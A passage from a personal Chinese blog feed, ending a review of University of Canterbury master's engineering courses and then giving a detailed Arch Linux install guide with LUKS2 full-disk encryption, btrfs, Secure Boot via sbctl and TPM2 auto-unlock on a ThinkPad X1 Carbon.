仅作答疑——<strong>自律和时间规划很重要</strong>。</li><li>C 模块首次作答即计分，提交前一定要把材料吃透。</li></ul><p>选课与学习建议：</p><ul><li><strong>推荐与 ENMT672 一起选</strong>，两门课是同一位教授。</li><li><strong>Term 1 阅读量较大</strong>，核心是&quot;从晶体管到 CPU&quot;这条线（阅读材料中包含用仿真软件搭建简易 CPU 的演示），建议提前安排好时间。</li></ul><hr><h2 id="ENMT672-26S1-—-Electronics-and-Power-for-Embedded-Systems">ENMT672-26S1 — Electronics and Power for Embedded Systems</h2><blockquote><p>本课程与 ENMT665 由同一位教授负责，授课形式与情况也相近：26S1第二次开课，没有传统的现场讲授，学习通过 Learn 上按周发布的在线模块完成，线下 tutorial 主要用于答疑与交流。</p></blockquote><p><strong>课程内容</strong></p><p>课程以 11 个按周发布的 Learning Module（LM1–11）为主线，从电子学基础一路走到电源、电机驱动、热设计与电路仿真：</p><ul><li>LM1: Electronics Refresher 电子学复习——电路基本定律、无源元件（R/L/C）、二极管/MOSFET/运放等（视作先修内容的复习）</li><li>LM2: Real Components 真实元件——实际元件与信号同理想模型的差异、元件选型与采购、看懂 datasheet</li><li>LM3.1: PCB Design 印刷电路板设计——PCB 制造工艺、信号回路、热设计、叠层等</li><li>LM3.2: KiCad Tutorial KiCad 教程——用开源 EDA 工具画原理图与 PCB</li><li>LM4: Switch-mode Power Supplies (Theory) 开关电源（理论）——DC-DC 转换、Buck/Boost、占空比与纹波</li><li>LM5: SMPS Practicalities 开关电源实务——元件选型与 PCB 布局</li><li>LM6: Driving Large Loads 驱动大负载——用 BJT/MOSFET 控制大电流、DC/无刷/步进电机、H 桥与电机驱动 IC</li><li>LM7: Analog Electronics 模拟电子——模拟信号链、放大与滤波、噪声、线性稳压器</li><li>LM8: Energy Budgets 能量预算——功耗估算、转换效率、低功耗模式</li><li>LM9: Batteries and Power Supplies 电池与供电——电池类型与充电、容量、AC-DC/DC-AC 转换</li><li>LM10: Beating the Heat 散热——发热机理、温度对元件的影响、热管理</li><li>LM11: Nonlinear Simulation 非线性仿真——SPICE/LTSPICE，超越 Falstad 的更精确仿真</li></ul><p>实践部分是两个 PCB 设计大作业（占比见下）：Assignment One 设计一块用于供电与电机驱动的 PCB；Assignment Two 在其基础上针对自选的严苛环境做改版，并包含研究报告与同行评审（peer review）。</p><p><strong>考核方式</strong></p><table><thead><tr><th>项目</th><th>占比</th></tr></thead><tbody><tr><td>Learning Modules</td><td>15%</td></tr><tr><td>Assignment One</td><td>20%</td></tr><tr><td>Assignment Two</td><td>30%</td></tr><tr><td>Exam</td><td>35%</td></tr></tbody></table><p><strong>注意事项 &amp; 建议</strong></p><p>所需基础：</p><ul><li>课程把基础电子学（约 ENME313 水平：电路分析基本定律、R/L/C 无源元件，以及二极管、MOSFET、运放的理想特性）视作先修内容，并专门用 LM1 做了复习。所以即便这部分有些生疏，也能靠这个模块补回来——是否一定要提前掌握，因人而异。</li></ul><p>几点建议：</p><ul><li>与 ENMT665 是同一位教授，<strong>推荐两门一起选</strong>，知识上有不少呼应；不过<strong>这两门课的知识密度都比较大</strong>，搭配时要安排好精力。</li><li>课程会用到 <strong>KiCad</strong>画 PCB，可以提前熟悉工具。</li><li>PCB <strong>打样由教授统一送去制作</strong>，自己不用操心打样流程；做好的板子会在 <strong>SMT 实验室</strong>完成贴片与熔炉（回流焊）焊接。</li></ul><hr><h2 id="一些通用建议">一些通用建议</h2><ul><li><strong>注意搭配与精力分配</strong>：ENMT665 与 ENMT672 知识密度都偏大；ENME603 数学较多；ENME623 的实验与两个 Project 很占时间。尽量把&quot;重&quot;的部分错开，别让几门的硬骨头堆在同一段时间。</li><li><strong>跟上自学型课程的节奏</strong>：ENMT665 和 ENMT672 没有现场讲授，全靠按周发布的在线模块，自律和提前规划很关键；卡住了别攒着，多去 tutorial 问。</li><li><strong>善用 AI，但守住学术诚信</strong>：部分评估明确允许使用生成式 AI（需附使用声明），务必如实标注、避免抄袭，论文类作业尤其要注意。</li></ul><h2 id="结语">结语</h2><p>选课没有标准答案，按自己的兴趣和研究方向来就好。这几门课各有侧重——控制、测量、嵌入式软件、电子与电源——希望这份记录能帮你少走点弯路。如有出入或补充，欢迎在评论区指正。</p><p><strong>最后祝各位学业顺利。</strong></p>]]>
    </content>
    <id>https://www.catwhiteangel.com/uc-mechanical-engineering-courses-semester-1/</id>
    <link href="https://www.catwhiteangel.com/uc-mechanical-engineering-courses-semester-1/"/>
    <published>2026-06-15T12:07:38.000Z</published>
    <summary>基于本人 26S1 实际修读经历，介绍坎特伯雷大学机械工程硕士第一学期四门课程（ENME603 线性控制、ENME623 仪器与传感器、ENMT665 嵌入式软件、ENMT672 嵌入式电子与电源）的授课内容、考核方式与选课建议。</summary>
    <title>坎特伯雷大学机械工程硕士课程介绍——基于本人所选课程（Semester 1）</title>
    <updated>2026-06-15T12:07:38.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Linux Security" scheme="https://www.catwhiteangel.com/categories/Linux-Security/"/>
    <category term="Arch Linux" scheme="https://www.catwhiteangel.com/tags/Arch-Linux/"/>
    <category term="LUKS" scheme="https://www.catwhiteangel.com/tags/LUKS/"/>
    <category term="Btrfs" scheme="https://www.catwhiteangel.com/tags/Btrfs/"/>
    <category term="Secure Boot" scheme="https://www.catwhiteangel.com/tags/Secure-Boot/"/>
    <category term="systemd-boot" scheme="https://www.catwhiteangel.com/tags/systemd-boot/"/>
    <category term="TPM2" scheme="https://www.catwhiteangel.com/tags/TPM2/"/>
    <content>
      <![CDATA[<div class="note info flat"><p>作者声明：本文整理自在 ThinkPad X1 Carbon Gen 9（2021）上的一次完整安装与日常使用过程，带有个人取舍，不代表唯一或最佳实践。详细信息请参考<a href="https://wiki.archlinuxcn.org/">https://wiki.archlinuxcn.org/</a></p></div><h1>Archlinux安装——UEFI 全盘加密（btrfs LUKS） 安全启动（systemd-boot UKI） TPM2自动解锁 基于ThinkPad X1 Carbon Gen 9（2021）</h1><h2 id="0-这套架构在解决什么问题">0 这套架构在解决什么问题</h2><p>在动手之前，有必要先理清整套配置的逻辑。全盘加密、安全启动、UKI 与 TPM2 这四样东西并不是各自独立的功能堆叠，而是环环相扣、彼此补位的：</p><ul><li><strong>LUKS 全盘加密</strong> 解决的是&quot;设备丢失或被盗&quot;——硬盘一旦离开本机，就只是一堆无法读取的密文。代价是每次开机都要手动输入一长串解密密码。</li><li><strong>TPM2 自动解锁</strong> 把这把密码交给主板上的 TPM 芯片保管，开机自动放行，省去手输。但它随即带来一个新问题：如果有人物理接触机器、替换了内核或往引导链里塞了东西，TPM 是否还会乖乖交出钥匙？</li><li><strong>安全启动 + UKI（Measured Boot）</strong> 正是用来堵这个洞。UKI 把内核、initramfs 与启动参数打包成单个文件，并用你自己的密钥签名；开机时 TPM 会先核对整条引导链的度量值（PCR），只要有任何一环被改动，度量值就对不上，TPM 拒绝解锁，自动回退到手动输入密码。</li><li>三者合起来的效果是：<strong>平时无感自动开机，引导链一旦被篡改就降级到密码保护，硬盘离机则完全无法读取。</strong></li></ul><p><strong>本文环境</strong>：</p><ul><li><strong>硬件</strong>：ThinkPad X1 Carbon Gen 9（2021，i7-1185G7 Tiger Lake 4C8T + Iris Xe 核显，32G 内存，512G NVMe）；无线 Intel Wi-Fi 6 AX201 + 蓝牙，Quectel EM05-CE 4G 模组，Synaptics 指纹（06cb:00fc），Syntek 摄像头，Thunderbolt 4 ×2</li><li><strong>系统</strong>：Arch Linux + KDE Plasma (Wayland) + SDDM</li><li><strong>存储</strong>：LUKS2 全盘加密 → btrfs（<code>compress=zstd:1</code>，子卷 <code>@</code> <code>@home</code> <code>@var_cache</code> <code>@var_log</code> <code>@root</code> <code>@swap</code> <code>@snapshots</code>）+ snapper 快照</li><li><strong>内存/交换</strong>：zram（8G，zstd）</li><li><strong>引导</strong>：systemd-boot + UKI（Measured Boot）+ Secure Boot（sbctl 自管密钥，保留微软厂商密钥）+ TPM2 自动解锁 LUKS</li><li><strong>网络</strong>：NetworkManager（4G 走 ModemManager，默认关闭）</li></ul><h2 id="1-基础环境准备">1 基础环境准备</h2><p>这一节处理安装前的准备工作：联网、对时、配置镜像源，都是后续 pacstrap 下载软件包的前提，没有难点，但每一步都不能少。</p><p>进入 Arch Linux 安装镜像后：</p><p><strong>1. 关闭 reflector.service</strong>，以避免它在后台自动更改镜像源、干扰网络速度</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl stop reflector.service</span><br></pre></td></tr></table></figure><p><strong>2. 检查启动模式为 EFI</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> /sys/firmware/efi/efivars</span><br></pre></td></tr></table></figure><p><strong>3. 联网</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">iwctl                              <span class="comment"># 进入交互式命令行</span></span><br><span class="line">device list                        <span class="comment"># 列出无线网卡设备名，如无线网卡名为 wlan0</span></span><br><span class="line">station wlan0 scan                 <span class="comment"># 扫描网络</span></span><br><span class="line">station wlan0 get-networks         <span class="comment"># 列出所有 wifi 网络</span></span><br><span class="line">station wlan0 connect wifi-name    <span class="comment"># 进行连接，注意这里无法输入中文，回车后输入密码即可</span></span><br><span class="line"><span class="built_in">exit</span>                               <span class="comment"># 连接成功后退出</span></span><br></pre></td></tr></table></figure><p>若遇到网卡锁定问题：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">rfkill list                <span class="comment"># 查看无线连接是否被禁用 (blocked: yes)</span></span><br><span class="line">ip <span class="built_in">link</span> <span class="built_in">set</span> wlan0 up       <span class="comment"># 如无线网卡名为 wlan0</span></span><br></pre></td></tr></table></figure><p>若看到类似 <code>Operation not possible due to RF-kill</code> 的报错，继续尝试 <code>rfkill unblock wifi</code> 来解锁无线网卡。</p><p>如果是虚拟机没有网络连接，检查虚拟机软件设置中的桥接网卡是不是与物理机联网网卡对应。</p><p>使用 <code>ping www.bilibili.com</code> 测试网络连通性。</p><p><strong>4. 系统时间同步</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">timedatectl set-ntp <span class="literal">true</span>    <span class="comment"># 将系统时间与网络时间进行同步</span></span><br><span class="line">timedatectl status          <span class="comment"># 检查服务状态</span></span><br></pre></td></tr></table></figure><p><strong>5. 配置软件源</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/pacman.d/mirrorlist</span><br></pre></td></tr></table></figure><p>在文件顶部增加以下内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Server = https://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch  # 中国科学技术大学开源镜像站</span><br></pre></td></tr></table></figure><h2 id="2-存储分区与加密">2 存储分区与加密</h2><p>本节完成全盘加密的底层铺设：先用 GPT 划分 EFI 与主分区，再对主分区做 LUKS2 加密，最后在解密后的设备上建立 btrfs 与子卷。后文所有的快照与回滚，都依赖这里的子卷划分。</p><p><strong>1. 分区</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">lsblk      <span class="comment"># 显示当前分区情况</span></span><br><span class="line">cfdisk     <span class="comment"># 分区工具</span></span><br></pre></td></tr></table></figure><p>采用 GPT 分区表，划分 512M 作为 EFI 系统分区，剩余空间全部分配为 Linux 文件系统。</p><p><strong>2. 加密分区</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cryptsetup luksFormat --<span class="built_in">type</span> luks2 /dev/nvme0n1p2   <span class="comment"># 对主分区进行 LUKS2 标准的加密</span></span><br><span class="line">cryptsetup open /dev/nvme0n1p2 linuxroot            <span class="comment"># 解密并映射该分区为 linuxroot</span></span><br></pre></td></tr></table></figure><div class="note warning flat"><p><strong>关于 SSD TRIM（discard）</strong>：如果希望 TRIM 指令能穿透 LUKS 传到 SSD（延长寿命、保持性能），需要在内核 cmdline 中加上 <code>rd.luks.options=discard</code>（见 4.2），并启用 <code>fstrim.timer</code>（见第 8 节）。不过要清楚，这会带来轻微的安全权衡——攻击者可据此推断哪些块未被使用、大致判断文件系统类型。个人笔记本通常可以接受；介意的话就别开。</p></div><p><strong>3. 建立文件系统</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">mkfs.vfat -F32 -n EFI /dev/nvme0n1p1                <span class="comment"># EFI 分区，格式为 vfat</span></span><br><span class="line">mkfs.btrfs -f -L linuxroot /dev/mapper/linuxroot    <span class="comment"># linuxroot 分区，格式为 btrfs</span></span><br><span class="line"></span><br><span class="line">mount /dev/mapper/linuxroot /mnt                    <span class="comment"># 挂载 linuxroot 至 mnt</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 合理的子卷划分隔离系统与用户数据，有利于配合未来的系统快照与回滚，仅供参考</span></span><br><span class="line">btrfs subvolume create /mnt/@           <span class="comment"># @（根目录）子卷</span></span><br><span class="line">btrfs subvolume create /mnt/@home       <span class="comment"># home 子卷</span></span><br><span class="line">btrfs subvolume create /mnt/@var_cache  <span class="comment"># var_cache 子卷</span></span><br><span class="line">btrfs subvolume create /mnt/@var_log    <span class="comment"># var_log 子卷</span></span><br><span class="line">btrfs subvolume create /mnt/@root       <span class="comment"># root 子卷</span></span><br><span class="line">btrfs subvolume create /mnt/@swap       <span class="comment"># swap 子卷</span></span><br><span class="line"></span><br><span class="line">btrfs subvolume list /mnt               <span class="comment"># 列出所有子卷，检查</span></span><br><span class="line"></span><br><span class="line">umount /mnt                             <span class="comment"># 取消挂载</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 挂载所有子卷，启用 zstd:1 透明压缩以优化 I/O 性能</span></span><br><span class="line">mount -t btrfs -o subvol=@,compress=zstd:1 -m /dev/mapper/linuxroot /mnt</span><br><span class="line">mount -t btrfs -o subvol=@home,compress=zstd:1 -m /dev/mapper/linuxroot /mnt/home</span><br><span class="line">mount -t btrfs -o subvol=@var_cache,compress=zstd:1 -m /dev/mapper/linuxroot /mnt/var/cache</span><br><span class="line">mount -t btrfs -o subvol=@var_log,compress=zstd:1 -m /dev/mapper/linuxroot /mnt/var/log</span><br><span class="line">mount -t btrfs -o subvol=@root,compress=zstd:1 -m /dev/mapper/linuxroot /mnt/root</span><br><span class="line">mount -t btrfs -o subvol=@swap,compress=zstd:1 -m /dev/mapper/linuxroot /mnt/swap</span><br><span class="line"></span><br><span class="line">mount -m /dev/nvme0n1p1 /mnt/efi        <span class="comment"># 挂载 EFI 分区</span></span><br></pre></td></tr></table></figure><h2 id="3-核心系统安装与基础配置">3 核心系统安装与基础配置</h2><p>加密与文件系统就绪后，这一节用 pacstrap 把基础系统装进去，并完成时区、locale、主机名等最基本的本地化配置。</p><p><strong>1. 设置键盘映射为 US</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> /mnt/etc</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;KEYMAP=us&quot;</span> &gt;&gt; /mnt/etc/vconsole.conf</span><br></pre></td></tr></table></figure><p><strong>2. 使用 pacstrap 安装基础系统、内核、微代码、加密与网络工具</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pacstrap -K /mnt base base-devel linux linux-firmware intel-ucode util-linux vim cryptsetup btrfs-progs sbctl networkmanager <span class="built_in">sudo</span></span><br></pre></td></tr></table></figure><p><strong>3. 生成挂载表 fstab</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">genfstab -U /mnt &gt; /mnt/etc/fstab</span><br></pre></td></tr></table></figure><p><strong>4. 进入系统终端</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">arch-chroot /mnt    <span class="comment"># 切换进入新系统环境</span></span><br><span class="line">passwd              <span class="comment"># 设置 root 密码</span></span><br></pre></td></tr></table></figure><p><strong>5. 本地化</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ln</span> -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime   <span class="comment"># 设置时区（按需改为 Pacific/Auckland 等）</span></span><br><span class="line">hwclock --systohc                                         <span class="comment"># 同步硬件时钟</span></span><br></pre></td></tr></table></figure><p>编辑 <code>/etc/locale.gen</code>，取消 <code>en_GB.UTF-8 UTF-8</code> 和其他需要的区域设置前的注释。</p><p>执行 <code>locale-gen</code> 生成 locale 信息。</p><p>创建并编辑 <code>locale.conf</code>，设定 LANG 变量：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;LANG=en_GB.UTF-8&quot;</span> &gt; /etc/locale.conf</span><br></pre></td></tr></table></figure><p>这里设置的 LANG 变量需与 locale 设置一致，否则会出现以下错误：<br><code>Cannot set LC_CTYPE to default locale: No such file or directory</code></p><p><strong>6. 主机名设定</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;archlinux&quot;</span> &gt; /etc/hostname</span><br></pre></td></tr></table></figure><h2 id="4-内核引导">4 内核引导</h2><p>本节的目标，是把内核、initramfs 和内核参数合并成一个统一内核映像（UKI），放进 ESP 由 systemd-boot 直接加载。之所以要合成单个文件，是因为只有这样它才能在后面被安全启动整体签名、被 TPM 整体度量——这是第 5、6 节的前提。</p><p><strong>1. mkinitcpio Hooks 配置</strong></p><p>编辑 <code>/etc/mkinitcpio.conf</code>，由于采用了 systemd 引导架构，修改为以下配置：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HOOKS=(base systemd autodetect microcode modconf kms keyboard sd-vconsole block sd-encrypt filesystems fsck)</span><br></pre></td></tr></table></figure><div class="note info flat"><p>说明：systemd 方案下，<code>keyboard</code> 负责加载键盘硬件模块（用于在解密界面输入密码），<code>sd-vconsole</code> 负责读取 <code>/etc/vconsole.conf</code> 设置控制台键位与字体。两者已经足够，<strong>不需要再叠加旧的 <code>keymap</code> / <code>consolefont</code> 钩子</strong>——那是非 systemd 方案的等价物，重复加上去只是冗余。</p></div><p><strong>2. 统一内核映像（UKI）配置</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">blkid    <span class="comment"># 查看各分区 UUID</span></span><br></pre></td></tr></table></figure><p>配置 LUKS 解密与 Btrfs 根目录挂载参数，编辑 <code>/etc/kernel/cmdline</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rd.luks.name=&lt;LUKS分区UUID&gt;=linuxroot root=/dev/mapper/linuxroot rootfstype=btrfs rootflags=subvol=/@ rd.luks.options=discard rw loglevel=3</span><br></pre></td></tr></table></figure><div class="note warning flat"><p><code>&lt;LUKS分区UUID&gt;</code> 要替换成上一步 <code>blkid</code> 查到的 <strong>加密分区本身</strong>（<code>/dev/nvme0n1p2</code>）的 UUID，注意不是 btrfs 文件系统的 UUID，也不要把字面的 <code>UUID</code> 直接留在里面。<code>rd.luks.options=discard</code> 用于打开 TRIM 穿透（安全权衡见第 2 节），不想开就删掉这一段。</p></div><p><strong>3. mkinitcpio preset 配置</strong></p><p>编辑 <code>/etc/mkinitcpio.d/linux.preset</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ALL_config=&quot;/etc/mkinitcpio.conf&quot;</span><br><span class="line">ALL_kver=&quot;/boot/vmlinuz-linux&quot;</span><br><span class="line"></span><br><span class="line">PRESETS=(&#x27;default&#x27;)</span><br><span class="line">#PRESETS=(&#x27;default&#x27; &#x27;fallback&#x27;)</span><br><span class="line"></span><br><span class="line">#default_config=&quot;/etc/mkinitcpio.conf&quot;</span><br><span class="line">#default_image=&quot;/boot/initramfs-linux.img&quot;</span><br><span class="line">default_uki=&quot;/efi/EFI/Linux/arch-linux.efi&quot;</span><br><span class="line">default_options=&quot;--splash /usr/share/systemd/bootctl/splash-arch.bmp&quot;</span><br><span class="line"></span><br><span class="line">#fallback_config=&quot;/etc/mkinitcpio.conf&quot;</span><br><span class="line">#fallback_image=&quot;/boot/initramfs-linux-fallback.img&quot;</span><br><span class="line">#fallback_uki=&quot;/efi/EFI/Linux/arch-linux-fallback.efi&quot;</span><br><span class="line">#fallback_options=&quot;-S autodetect&quot;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mkinitcpio -P    <span class="comment"># 生成映像</span></span><br></pre></td></tr></table></figure><p><strong>4. 系统环境配置</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">systemctl mask systemd-networkd      <span class="comment"># 屏蔽底层网络守护进程</span></span><br><span class="line">systemctl <span class="built_in">enable</span> NetworkManager      <span class="comment"># 启用现代网络管理器</span></span><br><span class="line">bootctl install --esp-path=/efi      <span class="comment"># 安装引导加载程序</span></span><br><span class="line"><span class="built_in">sync</span>                                 <span class="comment"># 将内存缓冲写入硬盘</span></span><br><span class="line">systemctl reboot                     <span class="comment"># 重启系统</span></span><br></pre></td></tr></table></figure><p>至此我们已经可以正常进入系统。</p><h2 id="5-安全启动">5 安全启动</h2><p>这一节用 sbctl 生成并注册属于自己的安全启动密钥，再给引导链上的每个 <code>.efi</code> 文件签名。完成后，固件只会放行你亲手签过的引导程序，任何被替换或篡改的文件都无法启动。</p><div class="note danger flat"><p><strong>强烈建议在操作前用 <code>efi-readvar</code> 备份现有的 PK、KEK、db、dbx 密钥。</strong> <code>efi-readvar</code> 来自 <code>efitools</code> 包，没有就先 <code>pacman -S efitools</code>。</p></div><p><strong>1. 备份当前变量</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">efi-readvar -v PK  -o old_PK.esl</span><br><span class="line">efi-readvar -v KEK -o old_KEK.esl</span><br><span class="line">efi-readvar -v db  -o old_db.esl</span><br><span class="line">efi-readvar -v dbx -o old_dbx.esl</span><br></pre></td></tr></table></figure><p><strong>2. 生成并注册自定义安全启动密钥</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">sbctl status</span><br><span class="line">sbctl create-keys          <span class="comment"># 生成密钥</span></span><br><span class="line">sbctl enroll-keys -m       <span class="comment"># 注册密钥（-m 保留微软厂商密钥，便于第三方 Option ROM / 双系统）</span></span><br><span class="line">sbctl verify</span><br><span class="line">sbctl sign -s /efi/EFI/BOOT/BOOTX64.EFI</span><br><span class="line">sbctl sign -s /efi/EFI/Linux/arch-linux.efi</span><br><span class="line">sbctl sign -s /efi/EFI/systemd-bootx64.efi    <span class="comment"># 数字签名</span></span><br></pre></td></tr></table></figure><div class="note info flat"><p><code>sbctl enroll-keys</code> 要求固件处于 <strong>Setup Mode</strong>（已清空 PK）。如果报错，先进 BIOS 把 Secure Boot 切到 Setup Mode 或清除现有密钥，再回来执行。</p></div><p><strong>3. 使用 pacman 钩子自动签署</strong></p><p>sbctl 默认带有 pacman 钩子，可在日后内核更新时自动重签名。</p><p>需要留意的是：如果通过 systemd-boot 启用了 <code>systemd-boot-update.service</code>，引导加载程序只会在重启后升级，导致 sbctl 的 pacman 钩子来不及签署新文件。变通的办法是直接在 <code>/usr/lib/</code> 里签署引导加载程序——这样 <code>bootctl install</code> 与 <code>update</code> 会自动识别并把 <code>.efi.signed</code>（如果存在）复制到 ESP，而不是普通的 <code>.efi</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sbctl sign -s -o /usr/lib/systemd/boot/efi/systemd-bootx64.efi.signed /usr/lib/systemd/boot/efi/systemd-bootx64.efi</span><br></pre></td></tr></table></figure><div class="note info flat"><p>同样的思路也适用于 <strong>fwupd 的胶囊更新引导器</strong>：Secure Boot 开启后，fwupd 找的是签过名的 <code>.signed</code> 文件，自签密钥的机器需要手动签一次，否则联想固件更新会失败——具体做法见第 8 节（固件更新 fwupd）。</p></div><h2 id="6-TPM2-0-自动解锁">6 TPM2.0 自动解锁</h2><p>全盘加密带来的唯一不便，就是每次开机都要手输一长串密码。这一节把解密密钥封存进主板的 TPM2 芯片，让引导链未被篡改时自动放行——平时无感开机，出了问题再回退到密码。</p><div class="note danger flat"><p><strong>第一步永远是先生成恢复密钥。</strong> TPM 与密码同时出问题时，这是唯一的保底——这一点下面会再次印证。</p></div><p><strong>1. 生成恢复密钥以防 TPM 模块故障 / 策略失效</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemd-cryptenroll --recovery-key /dev/nvme0n1p2</span><br></pre></td></tr></table></figure><p><strong>2. 将 LUKS 槽位注册到 TPM2 设备</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">systemd-cryptenroll --tpm2-device=auto /dev/nvme0n1p2</span><br><span class="line">systemd-cryptenroll /dev/nvme0n1p2                         <span class="comment"># 列出当前已注册的密钥槽位</span></span><br><span class="line"><span class="comment"># 如需清理某个空槽位：</span></span><br><span class="line"><span class="comment"># systemd-cryptenroll /dev/nvme0n1p2 --wipe-slot=empty</span></span><br></pre></td></tr></table></figure><p><strong>关于 PCR 7：一个迟早会遇到的现象。</strong> <code>systemd-cryptenroll --tpm2-device=auto</code> 默认把密钥绑定到 <strong>PCR 7</strong>，也就是 Secure Boot 状态。这意味着某天 fwupd 推送一次 UEFI dbx 更新（Secure Boot 吊销数据库）之后，由于 dbx 属于 PCR 7 度量内容的一部分，PCR 7 一变，TPM 就按设计拒绝放钥匙，开机重新要求输入 LUKS 密码。日志大致是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemd-cryptsetup: TPM policy does not match current system state.</span><br><span class="line">Either system has been tampered with or policy out-of-date</span><br></pre></td></tr></table></figure><p>这是防篡改机制的正常反应。用现有 LUKS 密码授权后重新绑定即可：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemd-cryptenroll --wipe-slot=tpm2 --tpm2-device=auto --tpm2-pcrs=7 /dev/nvme0n1p2</span><br></pre></td></tr></table></figure><p>一个实测规律值得记住：<strong>dbx 更新或 Secure Boot 密钥变动会让自动解锁失效</strong>（改了 PCR 7），而 <strong>BIOS / EC / Intel ME 固件升级不会</strong>（只改 PCR 0/2，本机实测 BIOS 1.77 升级后无需重绑）。这也正是上面第一步恢复密钥的意义所在——它是 TPM 和密码都出问题时的最后保底。</p><hr><h2 id="7-进阶系统配置">7 进阶系统配置</h2><p>系统已经能正常使用，这一节补齐日常所需的配置：网络、用户、快照、桌面环境与输入法。</p><p><strong>1. 网络配置</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">nmcli dev wifi list                                          <span class="comment"># 显示附近的 Wi-Fi 网络</span></span><br><span class="line">nmcli dev wifi connect <span class="string">&quot;Wi-Fi名（SSID）&quot;</span> password <span 